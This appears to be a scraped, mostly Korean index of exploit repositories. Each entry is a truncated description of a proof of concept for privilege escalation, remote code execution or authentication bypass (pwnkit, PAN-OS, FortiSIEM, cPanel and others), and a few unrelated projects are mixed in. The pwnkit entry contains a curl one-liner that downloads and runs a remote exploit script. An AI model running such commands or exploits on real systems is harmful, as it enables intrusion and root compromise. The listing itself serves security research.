Privilege-escalation-ASKEY

Privilege-escalation-ASKEY-Router-RTF3505VW-N1 CVE-2022-47040 ASKEY 라우터의 권한 상승 취약점 장치: ASKEY RTF3505VW-N1 펌웨어: BRSVg000R3505VMN1001s327 다른 버전에서는 테스트되지 않음 CLI 버전: ReducedCLIHGUv13 익스플로잇: ASKEY RTF3505VW-N1 장치는 ssh를 통해 제한된 기본 셸로 접근할 수 있게 제공됩니다: 제한된 셸은 "ReducedCLI"에 접근할 수 있으며, 대부분의 linux/unix 명령 실행을...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit 개요 Nagios XI = 5.6.5에는 공격자가 RCE를 활용하여 root로 권한을 상승시킬 수 있는 취약점이 존재합니다. 이 익스플로잇은 'nagios' 사용자로 서버에 접근할 수 있는 권한, 또는 웹 인터페이스를 통해 플러그인을 관리할 수 있는 CCM 접근 권한이 필요합니다. 세부 정보 getprofile.sh 스크립트는 시스템 프로필 다운로드profile.php?cmd=download 시 호출되며, passwordless sudo 항목을 통해 root 권한으로 실행됩니다. 이...

poc-cve-2021-4034

poc-cve-2021-4034 pwnkit이라고 불리는 CVE-2021-4034용 PoC 사용 방법 그냥 make를 실행한 다음 릴리스 폴더를 확인하세요. 또는 원라이너를 선호한다면: sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" 즐기세요 dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploit Spawni...

parallels-file-move-privesc

parallels-file-move-privesc 이 저장소는 CVE-2023-50226 / ZDI-CAN-21227에 대한 익스플로잇을 포함하며, 18.3.2 이전 버전의 Parallels Desktop에서 루트로 권한 상승하는 데 사용할 수 있습니다...

cve-2016-6662

소개 CVE-2016-6662를 익스플로잇하기 위한 도움말 경고 컴파일 전에 c 파일에서 공격자 IP를 변경해야 합니다. 크레딧 모든 크레딧은 원본 발견자에게 있습니다. 분석 글: http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 토론: https://www.reddit.com/r/netsec/comments/52dgxh/mysqlremoterootcodeexecutionprivilege/ 파일...

nixos-config

Lan Tian의 NixOS 구성 이 저장소는 모든 NixOS 시스템의 구성 파일을 보관합니다. 기능 전체 시스템 root-on-tmpfs, impermanence 사용 iptables 대신 Nftables sops-nix를 사용한 비밀 관리 대부분의 아키텍처를 위한 QEMU 사용자 모드 에뮬레이션 Nixpkgs 패치가 적용된 Nix Flakes 내 NUR 저장소의 추가 커널 모듈 NVIDIA 드라이버 패치 OpenSSL을 위한 양자 내성 암호 및 GOST 지원 구성 관리를 위한 다양한 함수와 상수를 제공하는 사용자 정의 헬퍼...

CVE-2024-23108

CVE-2024-23108: Fortinet FortiSIEM 인증되지 않은 2차 명령 주입 취약한 FortiSIEM 장비에서 루트 권한으로 명령을 블라인드 실행하는 개념 증명 익스플로잇 블로그 포스트 근본 원인 및 침해 지표는 여기에서 확인하세요: https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive 사용법 % python3 CVE-2024-23108.py -...

CVE-2025-20393

CVE-2025-20393 📌 概要 CVE-2025-20393 は、Cisco AsyncOS を実行している Cisco Secure Email Gateway SEG および Cisco Secure Email and Web Manager SEWM アプライアンスに影響を与える 重大なリモートコマンド実行 RCE の脆弱性です。 この脆弱性は、Spam Quarantine 機能における不適切な入力検証 が原因で存在します。認証されていないリモート攻撃者 は、細工された HTTP リクエストを送信することでこの欠陥を悪用し、root 権限での任意のコマンド実行...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS 명령 삽입 벤더 설명 Palo Alto Networks PAN-OS 소프트웨어의 GlobalProtect 기능에서 특정 PAN-OS 버전 및 특정 기능 구성에 대한 명령 삽입 취약점으로 인해 인증되지 않은 공격자가 방화벽에서 루트 권한으로 임의 코드를 실행할 수 있습니다. 익스플로잇 감사합니다 watchtowr labs 🚀 경로 탐색 / 확인 HTTP 요청: POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1...

LooneyPwner

LooneyPwner CVE-2023-4911을 위한 익스플로잇 도구로, 다양한 Linux 배포판에서 'Looney Tunables' glibc 취약점을 대상으로 합니다. LooneyPwner는 GNU C 라이브러리glibc에서 발견된 'Looney Tunables'라는 별명의 치명적인 버퍼 오버플로우 취약점을 대상으로 하는 개념 증명PoC 익스플로잇 도구입니다. 공식적으로 CVE-2023-4911로 추적되는 이 결함은 다양한 Linux 배포판에 존재하며, 무단 데이터 접근 및 시스템 변경을 포함한 심각한 위험을 초래합니다...

CopyFail-CVE-2026-31431

CopyFail: CVE-2026-31431 copy.fail의 Python 구현입니다. AFALG + splice를 통해 setuid-root 바이너리의 페이지 캐시를 덮어써서 root 권한을 얻습니다. 경쟁 조건 없음, 오프셋 불필요 2017년 이후의 모든 Linux 배포판에서 작동합니다. 요구 사항 Python 3.6+ 3.12+는 os.splice를 기본적으로 사용하고, 이전 버전은 ctypes로 대체합니다. authencesnhmacsha256,cbcaes을 포함한 Linux 커널, 없는 경우: modprobe...

threat-team

Google 위협 인텔리전스 그룹 알림: 이 저장소는 더 이상 유지 관리되지 않습니다. 최신 침해 지표IOC 및 위협 연구에 대해서는 Google Cloud Threat Intelligence 블로그와 무료 Google Threat Intelligence / VirusTotal 컬렉션을 참조하십시오. 이 저장소에는 2021년부터 2026년 초까지 Google에서 게시한 공개 블로그 게시물 및 보고서와 관련된 침해 지표IoC가 포함되어 있습니다. IoC는 연도별로 정리되어 있으며, 각 폴더는 특정 블로그 게시물 또는 보고서와...

unisoc-su

unisoc-su CVE-2025-31710에 대한 방법 및 패치되지 않은 unisoc 모델에서 cmdskt 추상 소켓에 연결하여 루트 셸을 얻는 방법 모두가 소리치기 전에, Unisoc 자체가 CVE-2025-31710 게시 후 이를 공개하도록 허가했습니다. 조용히 하세요. 농담으로 시작하겠습니다 네, 꿈이 아닙니다. 오늘은 com.sprd.engineermode 앱에서 시스템 셸을 위한 익스플로잇을 소개하고자 합니다. 그리고 그것이 cmdskt의 신뢰할 수 있는 클라이언트 중 하나이기 때문에, 저도 그것에 접속할 수...

CVE-2026-41940-PoC-Exploit

🚀 CVE-2026-41940 - cPanel/WHM 인증 우회 익스플로잇 cPanel & WHM 에디션 - CRLF 주입을 통한 인증 우회 및 완전한 세션 하이재킹 📌 개요 이 익스플로잇은 cPanel/WHM 의 치명적인 인증 우회 취약점인 CVE-2026-41940 을 악용합니다. 세션 관리 시스템에 정교하게 제작된 CRLF 페이로드를 주입하여 유효한 자격 증명 없이도 세션 하이재킹, 루트 액세스, 그리고 호스팅 패널에 대한 완전한 제어를 달성합니다. 🔥 주요 기능 카테고리| 기능 ---|--- 공격| ✅ CRLF 주입을...

Android-Projector-C2-Malware

Android 프로젝터에 사전 설치된 C2 인프라 및 RAT 페이로드 기술 분석 보고서 — 보안 연구 영향받는 기기: Nonete예: Model HY260Pro와 같은 프로젝터 브랜드의 여러 Android 프로젝터 Magcubic, Hotack, Huyukang 등의 여러 프로젝터에도 영향을 미칠 가능성이 높음. 이들 회사가 유사한 모델을 유통하고 있으며 이를 뒷받침하는 정황이 존재하기 때문 칩셋 플랫폼: Allwinner H713 / sun50iw12p1 — 이 플랫폼을 사용하는 모든 기기에 영향을 미칠 가능성 있음 분석 기...

CVE-2026-96515

CVE-2026-96515: Netlink HG323RW における認証済み root コマンド実行 認証済みの制限付き Web ユーザーは、Netlink HG323RW の診断インポートハンドラーを通じてシェルスクリプトをアップロードし、UID-0 の BOA プロセスにそれを実行させることができます。認証および有効な verification/CSRF 値が必要です。本リポジトリは、認証前のコード実行を主張するものではありません 。 脆弱性レコード フィールド| 値 ---|--- CVE| CVE-2026-96515 製品| Netlink ICT HG323RW Rout...

OpenClaw_Termux

Termux 내부에 Ubuntu를 설치하여 Android에서 OpenClaw를 설치하고 실행하는 방법 루트 필요 없음, 그런 다음 OpenClaw Gateway를 실행하고 WhatsApp, Telegram 또는 Discord에서 채팅하는 방법. 필수 조건 루트 없음 Android 폰, Termux, F‑Droid에서 제공하는 Termux:API 앱 Google Play 아님 원클릭 설치 프로그램 저는 Sagar Tamang의 가이드를 따라 모든 단계를 하나의 스크립트로 묶어 최대한 쉽게 만들었습니다. 먼저 Sagar의 원본...

cve-2026-28912

CVE-2026-28912 — リバースエンジニアリングノートと再現 macOS PackageKit のシンボリックリンク追跡バグ（CVE-2026-28912）の独立したリバースエンジニアリング、およびインストール先パス内のディレクトリシンボリックリンクを通じて、攻撃者が制御するファイルを root 権限でインストーラに書き込ませることを実証する動作する PoC を収録しています。 このバグは PKCoreShove のファイル再リンク処理における非同期なパス走査です。悪意のある .pkg...

CVE-2023-34039

CVE-2023-34039 CVE-2023-34039 VMWare Aria Operations for Networks vRealize Network Insight 정적 SSH 키 RCE를 위한 POC 기술 분석 취약점에 대한 근본 원인 분석은 제 블로그에서 확인할 수 있습니다: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/ 요약 VMWare Aria Operations for Networks vRealize Network Insig...

cPanel-WHM-CVE-2026-41940-auth-bypass-exploit

CVE-2026-41940 - cPanel & WHM 인증 우회 익스플로잇 cPanel/WHM cpsrvd 데몬의 CRLF 인젝션을 통한 치명적인 인증 우회 📋 개요 CVE-2026-41940은 cPanel & WHM의 치명적인 인증 우회 취약점 으로, 인증되지 않은 원격 공격자가 서버에 대한 루트 수준 관리자 액세스 를 획득할 수 있게 합니다. 이 취약점은 cpsrvd 데몬의 세션 처리, 특히 Cpanel/Session.pm 내부에 존재하며, whostmgrsession 쿠키와 Authorization 헤더의 줄 구분자CRL...